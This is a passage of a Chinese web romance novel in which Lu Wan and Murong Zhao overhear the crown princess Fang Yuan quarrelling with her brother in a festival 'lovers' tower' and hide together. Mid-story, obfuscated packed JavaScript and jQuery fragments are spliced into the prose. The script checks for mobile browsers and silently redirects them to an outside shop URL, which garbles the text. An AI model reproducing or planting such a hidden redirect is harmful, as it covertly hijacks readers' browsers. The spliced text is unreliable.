陆绾轻笑,在小贩手里挑了一盏彩墨鸾鸟绘纹的宫灯。 “她的郎君可真俊。” “可不是嘛,还是从杏区出来的,腰上还挂着面具呢!那盏灯也是杏区才有的。” “人家都是和郎君一道的,你不去寻你夫君,小心你郎君寻了别人钻情人楼了。” “去去去,他爱找谁找谁去!” 两个姑娘嬉笑着从陆绾身边走过,慕容昭付了钱,小贩笑道:“二位走了情人桥,日后生生世世都不分离。” 陆绾失笑,原来这便是情人在百花宴上会做的事,好像也还不错。 廊桥的另一头连着一栋小楼,舆图上的名字是情人楼。不少年轻男女走完廊桥便挽着彼此拐进了那栋小楼。 慕容昭见陆绾盯着情人楼不说话,犹豫道:“……你也想进去吗?” 陆绾不解道:“来都来了,为何不进去看看?” 情人楼是木头搭的,规规矩矩。进去了陆绾才知道这栋小楼是干什么的。 情人楼其实并不小,进去没有大厅,每层楼都只有一排排小间。房门带锁,墙上和地上都铺了厚厚的软垫,因而隔音不错。大楚民风开放,百花宴却关停了紫霞楼一类的花楼。年轻男女想要做些私密的事情,便会来情人楼。 陆绾感叹道:“还有这样的地方,难怪廊桥上会有那么多站着观景的男女,想必是为了蹲等这楼里的位置。” 慕容昭浑身不自在,也不敢搭话。 陆绾看明白了是怎么回事,正欲离开,却听见走廊尽头传来瓷器碎裂的声响。 慕容昭本落在陆绾几步之后,忙提着灯跟上来。 最里面那一间屋子,没有栓上。 “你还有什么脸面来找我!” 这女子的声音听得两人脚步一顿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393968|200254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太子妃房鸢。 陆绾看了慕容昭一眼,慕容昭紧盯着那扇未关严的房门,神色如临大敌。 又听屋内一男声道:“我是真心爱护你,可你呢?又去找什么护卫?生怕事情闹得不够大?” 这声音陆绾听得耳熟,却一时想不起是谁。约莫是个二十来岁的年轻人,听着很斯文,吐字咬得很轻。 总之不是太子。 房鸢气极反笑,道:“你倒是个识大体的好哥哥。不敢娶我,要我嫁太子,这也就算了。若是一心为了房家,杜家的婚事你又为何不要?你就只在乎你自己。你是个干干净净的痴情文人,我是个不知廉耻的泼辣妇人,父亲是个沽名钓誉的酸腐大儒。这一家可真是相配!” 陆绾定在原地,顿觉一股寒气从脚底生发浸遍全身。 房岐,是了那声音是房岐。房鸢和房岐有一段,还找过护卫。此事太子可知? 应当是不知罢,至少皇后是不知的,不然如何会在宫宴上对房鸢那样热络? 听着房鸢的怒骂声越来越近,陆绾一时躲也不是,不躲也不是,脑子里更是一团乱麻。 房门被太子妃踹开的那一瞬,陆绾一把揪住慕容昭的衣袖,将他拽进了手边最近的房间。 陆绾低声道:“她出来可就看见我们了,你要去哪?” 慕容昭被陆绾抵在门上,正要解释,却听见廊内的脚步声在门口停了下来。 陆绾松开了插门闩的手,生怕发出半点声响。 只一会儿,太子妃冷哼一声,走远了。 慕容昭反手将那门闩插上,道:“其实再往前走两步就是楼梯,我本来想着去楼上躲。” 楼梯处有动静并不稀奇,更何况,要是陆绾盲推的这间屋子锁了门,一时反而更难走开了。 陆绾默了默,道:“去楼上确实更佳。不过已经进来了——不是,你这样看着我做什么?” 慕容昭见陆绾耳尖泛起一抹红色,明白是自己多想了。 这也怪不得他,之前说来都来了,就带人进了情人楼,谁知道这次“已经进来了”,后面又要说什么惊人之语。 慕容昭不禁笑了。 陆绾松开制住慕容昭的手,面上更加窘迫,道:“你又笑什么,出去出去。” 说着便要去开门。 慕容昭拦住她,道:“来都来了,这里隔音好,说两句话再走。你刚刚是这个意思吧。” 慕容昭见陆绾没接话,应是默认了,忙继续道:“我还以为陆典簿这种逛过花楼点过小倌的,早就对这种事情不害臊了。看来还是有点的,之前恐怕是无知无畏。” 陆绾道:“你还有心思想这个,就不怕我出去散布风声,编排东宫吗?” “陆娘子是不屑于做秦王那档子事的,编什么童谣到处唱,对吧?”慕容昭背着手,又朝陆绾贴近了一步,双眸含笑,神色间颇为自得。 陆绾噤了声,脑子里没了那些乱七八糟的想法。 没想到不搞党争的人脑子转得也挺快。是了,之前的童谣公主府没动过,应是东宫——或者说慕容昭帮忙按下的。 确实算得上筹码,不过不算重。